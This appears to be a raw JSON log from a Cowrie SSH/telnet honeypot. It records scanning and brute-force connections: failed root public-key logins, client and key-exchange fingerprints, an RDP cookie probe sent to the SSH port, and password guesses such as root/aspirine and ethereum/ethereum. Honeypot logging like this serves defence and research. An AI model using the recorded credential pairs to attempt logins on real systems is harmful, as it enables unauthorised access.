{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:49:ea:36:4a:3a:02:0d:d9:1b:09:ce:a4:17:da:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2fBVLC/a9ZAV0DFeYRHbvwyTUjM8UEw9QmIra6QH5UA1x/Xu8u2sWZyimGCORbJkIgxsYiLHuAOjVfTr+yozWXeEZHGSeXhrOItiGRpuEsy1SUlinSUFeCHxvBo/le/0xzg8nTbA7smqS6+sCU+RbyYZZ3BlJG2VtEC2g320iLhsbddUstHjTcC2iiTo0R9G1ifaqyXkBw91R+eaZNUlrN8cePnpk7+BdpH8AmWy74moTMOlZW+8Gddb6DUa7wK1dTA9j07C+rwHIaKXZCArj396S5lQu8dKhIoRAd3qIYWYicKJOOz8+7flKuvYor4jn8HAOHtspIdXX4OZrZAbnxnRGM/o7/TGl2vJLiw1QNHTNBtYUL9IZ9jvs1iMrwJgOkxLZV6a3NUkNGtkCMtJO/GWqDnSy0/5JhLcrTVjgS1OyGlxLQYl+brBfp//WT60lirAaLa+rWDIaFpPjcEhqxOtpRjc+6ztuOaqbjRs7OX4rBkcaqNNOaCfctrgctqg56fJ64KKCUofYTqFE66bkAzUcMU0nty/d0QR/P8y0OrJFNA6r/K4Wxq+W1GEdKwLByj13qbs3rjMExKJQ4CqXo9WgmCUFFCqOmGXCbZzQc5QWw34lqOIoZ1GWVjad8y2KHGZVBqasfu4NK9Hc2y0Z3THuQIqme+4M5034pUVZSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.784570Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:d7:24:3e:a1:ff:b7:c1:10:42:99:f4:d4:34:4b:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD1fTW8+wXXaZqvnm6eK7A81sDQ/V6wsemeyURy/KIVPCK8+5dEZO4ObROt8nGHo3ktgZbGh7vHQ/i9OBQkp06/+l9bsJu/Pg03tKubFK9WpP4ww+1qhC5MJUC/6J/Oig/6LNXWj5iIPWX4ESo2poCnSp/Kr9XzHp2dTfBcTIKRRC1ABmpuygGq7U0NQuR4F/wXGTTfusKXijhXlTTWEE0PijNiKpmvCoc2m6uO0U5sdBn2T31I+21Vy0OuBAHqJW9VwckxGBGdyQRJ1e7D94cyOXfqfeRee4Tm/7ARenNGrBYmwDbPbG+JX/q8WVMNpTOyCvRoE7WdtoNgm6Vz69YT/3sfyDDkvaF7IShslQ5vjdFrw1mbntMJYpuIXi/RrPECQQ+JfaGy33RLoNOPb4iAHBuyTX6PPZTrer6j4zkX62k1GRnL1cguCSzlaeMgZYakpaCEZsJ49leaphG/XsmDol+/Mb3/btKf402U1ZbUuTkAL/N5v20jvUwxjKd1JVUOcG8dFBO7s0gSoHLIKoouUTcrVnmfkMRMsc2u/h6zWTMTQyfzSTHb8F3Vv4J/lAHvLHJpognP7mjxNwccEZY/cLY/OKXcA3AiNJajHVr7uyH7WT0wcybvHb9hgtxPCLV2OqNc4+4+4Pbg155she9FXAfQ3wjJd4gfl6pQjp1Cjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:d7:24:3e:a1:ff:b7:c1:10:42:99:f4:d4:34:4b:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.876453Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:d7:24:3e:a1:ff:b7:c1:10:42:99:f4:d4:34:4b:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD1fTW8+wXXaZqvnm6eK7A81sDQ/V6wsemeyURy/KIVPCK8+5dEZO4ObROt8nGHo3ktgZbGh7vHQ/i9OBQkp06/+l9bsJu/Pg03tKubFK9WpP4ww+1qhC5MJUC/6J/Oig/6LNXWj5iIPWX4ESo2poCnSp/Kr9XzHp2dTfBcTIKRRC1ABmpuygGq7U0NQuR4F/wXGTTfusKXijhXlTTWEE0PijNiKpmvCoc2m6uO0U5sdBn2T31I+21Vy0OuBAHqJW9VwckxGBGdyQRJ1e7D94cyOXfqfeRee4Tm/7ARenNGrBYmwDbPbG+JX/q8WVMNpTOyCvRoE7WdtoNgm6Vz69YT/3sfyDDkvaF7IShslQ5vjdFrw1mbntMJYpuIXi/RrPECQQ+JfaGy33RLoNOPb4iAHBuyTX6PPZTrer6j4zkX62k1GRnL1cguCSzlaeMgZYakpaCEZsJ49leaphG/XsmDol+/Mb3/btKf402U1ZbUuTkAL/N5v20jvUwxjKd1JVUOcG8dFBO7s0gSoHLIKoouUTcrVnmfkMRMsc2u/h6zWTMTQyfzSTHb8F3Vv4J/lAHvLHJpognP7mjxNwccEZY/cLY/OKXcA3AiNJajHVr7uyH7WT0wcybvHb9hgtxPCLV2OqNc4+4+4Pbg155she9FXAfQ3wjJd4gfl6pQjp1Cjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.880458Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.972108Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.843063831329346,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:40.491774Z","src_ip":"152.42.224.71","session":"d7c7649c34e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52280,"dst_ip":"159.203.135.109","dst_port":22,"session":"916bd9241775","protocol":"ssh","message":"New connection: 152.42.212.128:52280 (159.203.135.109:22) [session: 916bd9241775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:42.462444Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:42.466714Z","src_ip":"152.42.212.128","session":"916bd9241775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:42.470221Z","src_ip":"152.42.212.128","session":"916bd9241775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59430,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bbbad315bf0","protocol":"telnet","message":"New connection: 152.42.224.71:59430 (10.17.0.5:23) [session: 6bbbad315bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:43.655103Z"}
{"eventid":"cowrie.session.closed","duration":36.825830698013306,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:10.607236Z","src_ip":"152.42.224.71","session":"d0f6842647eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.405391216278076,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:12.060370Z","src_ip":"152.42.224.71","session":"6bbbad315bf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48122,"dst_ip":"10.17.0.5","dst_port":23,"session":"f63d82cbf690","protocol":"telnet","message":"New connection: 152.42.224.71:48122 (10.17.0.5:23) [session: f63d82cbf690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:20.096619Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54310,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9283a28d3c1","protocol":"ssh","message":"New connection: 2.57.122.238:54310 (10.17.0.5:22) [session: a9283a28d3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:25.764854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:25.771093Z","src_ip":"2.57.122.238","session":"a9283a28d3c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:25.875980Z","src_ip":"2.57.122.238","session":"a9283a28d3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:26.190781Z","src_ip":"2.57.122.238","session":"a9283a28d3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:27.300006Z","src_ip":"2.57.122.238","session":"a9283a28d3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56534,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab669365348c","protocol":"telnet","message":"New connection: 152.42.224.71:56534 (10.17.0.5:23) [session: ab669365348c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:29.786887Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56540,"dst_ip":"10.17.0.5","dst_port":23,"session":"e12bc037a107","protocol":"telnet","message":"New connection: 152.42.224.71:56540 (10.17.0.5:23) [session: e12bc037a107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:30.019257Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56550,"dst_ip":"10.17.0.5","dst_port":23,"session":"3737dea090b0","protocol":"telnet","message":"New connection: 152.42.224.71:56550 (10.17.0.5:23) [session: 3737dea090b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:31.124574Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":44024,"dst_ip":"10.17.0.5","dst_port":22,"session":"82ec519d1fd3","protocol":"ssh","message":"New connection: 103.98.149.87:44024 (10.17.0.5:22) [session: 82ec519d1fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:33.333612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:33.348405Z","src_ip":"103.98.149.87","session":"82ec519d1fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:34.593985Z","src_ip":"103.98.149.87","session":"82ec519d1fd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aspirine","message":"login attempt [root/aspirine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:35.789537Z","src_ip":"103.98.149.87","session":"82ec519d1fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:37.017815Z","src_ip":"103.98.149.87","session":"82ec519d1fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.70618104934692,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:52.555677Z","src_ip":"152.42.224.71","session":"09cbf6d7afc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.23414659500122,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:55.020893Z","src_ip":"152.42.224.71","session":"ab669365348c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.367589235305786,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:56.492026Z","src_ip":"152.42.224.71","session":"3737dea090b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35750,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6677e189807","protocol":"telnet","message":"New connection: 152.42.224.71:35750 (10.17.0.5:23) [session: f6677e189807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:25:56.817774Z"}
{"eventid":"cowrie.session.closed","duration":120.00163221359253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:04.079681Z","src_ip":"152.42.224.71","session":"e402777c6d64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.26.87.217","src_port":39218,"dst_ip":"10.17.0.5","dst_port":22,"session":"23c00eb96410","protocol":"ssh","message":"New connection: 195.26.87.217:39218 (10.17.0.5:22) [session: 23c00eb96410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:12.473126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:12.478243Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:12.566606Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:78:15:e2:ad:38:61:ae:a6:ea:a2:41:3f:18:b6:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOz0TttCwjXs1D3vSUeNekctioI2mOUzNDtjs9m8YKieOQbRDSMLm2/M19okNMR9Bnbdh8CAbzyOEFkv+OT9T6/aAxgBHj5cAi35/khZL4NjT7cTw8aFXmLev2DgTkC26zVGjybzVNtccdi5W08I1byxnrxX0/1lyyd8LTyX74YTjErM2m/aegciJkny5TfC22H5bU0Q1tOPZimSt1IVo1S+aW1hFnYpU6a0Stmqd3dhStb19647fO3Z1Mnd72jL2H/MzYKU0/449bcmgZte8E3ovCBIO1sVj8fZSXtLqzRlrUaMjNCoOMq50XZbsNKtn3Za+iQjaeAxzhGp7oTqYbrFH0ROD86ttXe7t4oWvxA3ip1F1aUH4FIQmVroAJJ14ASxYfoU2o62zusGBpGhe+Ii1nAeU0kQnZWFWCXBZxTTwEI4xUvXtvHDH11qatKiPqn+5dx2BcLf1VnaNaSOLrbfxbccfY7fIDbO1XV4ts5uFKExkesb0krD9dBR6ajGU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:78:15:e2:ad:38:61:ae:a6:ea:a2:41:3f:18:b6:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:12.981055Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:78:15:e2:ad:38:61:ae:a6:ea:a2:41:3f:18:b6:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOz0TttCwjXs1D3vSUeNekctioI2mOUzNDtjs9m8YKieOQbRDSMLm2/M19okNMR9Bnbdh8CAbzyOEFkv+OT9T6/aAxgBHj5cAi35/khZL4NjT7cTw8aFXmLev2DgTkC26zVGjybzVNtccdi5W08I1byxnrxX0/1lyyd8LTyX74YTjErM2m/aegciJkny5TfC22H5bU0Q1tOPZimSt1IVo1S+aW1hFnYpU6a0Stmqd3dhStb19647fO3Z1Mnd72jL2H/MzYKU0/449bcmgZte8E3ovCBIO1sVj8fZSXtLqzRlrUaMjNCoOMq50XZbsNKtn3Za+iQjaeAxzhGp7oTqYbrFH0ROD86ttXe7t4oWvxA3ip1F1aUH4FIQmVroAJJ14ASxYfoU2o62zusGBpGhe+Ii1nAeU0kQnZWFWCXBZxTTwEI4xUvXtvHDH11qatKiPqn+5dx2BcLf1VnaNaSOLrbfxbccfY7fIDbO1XV4ts5uFKExkesb0krD9dBR6ajGU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:12.984842Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:74:af:89:32:80:9d:6a:05:2b:ec:23:f5:ec:eb:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdAHAnFiYx7TjrhUBImfG9tjtrHdoiu9WBJVCn5vQxZXoygWh7S0rGa1mF/e4cZ/PGGhShRaK/5h1rY7hvm8bfEAaclSQ73bYw6K2di+ImIvLppz0Hc8ryWS/UvP2SHfe8hF1W57zStUMZn5Nc/ZwVo/hhCGm67CAcQJG5mKsa4zqk4q12ZX+D70XrI1YL439Ga5YfGJQHcVsNBeoIyKDbRg0GVJqRhOxoG9HAQN5PjWb5F6vEJSznD7WMQ7oR4X8b7nrrLuW8NxBOf4P+1a9PeYMMQ+jQ7fHI1MBO8R5Kp6puC1MViaslOZnTlI7aYyiXipbxXPtEidhtEyCyBMPb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:74:af:89:32:80:9d:6a:05:2b:ec:23:f5:ec:eb:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:13.074069Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:74:af:89:32:80:9d:6a:05:2b:ec:23:f5:ec:eb:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdAHAnFiYx7TjrhUBImfG9tjtrHdoiu9WBJVCn5vQxZXoygWh7S0rGa1mF/e4cZ/PGGhShRaK/5h1rY7hvm8bfEAaclSQ73bYw6K2di+ImIvLppz0Hc8ryWS/UvP2SHfe8hF1W57zStUMZn5Nc/ZwVo/hhCGm67CAcQJG5mKsa4zqk4q12ZX+D70XrI1YL439Ga5YfGJQHcVsNBeoIyKDbRg0GVJqRhOxoG9HAQN5PjWb5F6vEJSznD7WMQ7oR4X8b7nrrLuW8NxBOf4P+1a9PeYMMQ+jQ7fHI1MBO8R5Kp6puC1MViaslOZnTlI7aYyiXipbxXPtEidhtEyCyBMPb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:13.077718Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:45:f3:82:7a:a8:75:9d:c3:e2:e7:ae:19:4d:68:6a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPkZ+j9vbBG2kSl1ZUKre/i/uHyw7DTGdsY9jQvTifhu","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c9:45:f3:82:7a:a8:75:9d:c3:e2:e7:ae:19:4d:68:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:13.166044Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:45:f3:82:7a:a8:75:9d:c3:e2:e7:ae:19:4d:68:6a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPkZ+j9vbBG2kSl1ZUKre/i/uHyw7DTGdsY9jQvTifhu","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:13.172930Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
